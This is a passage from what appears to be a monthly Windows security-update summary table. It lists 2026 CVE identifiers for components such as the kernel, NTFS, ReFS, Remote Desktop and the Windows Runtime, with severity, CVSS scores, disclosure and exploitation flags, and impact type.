EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege 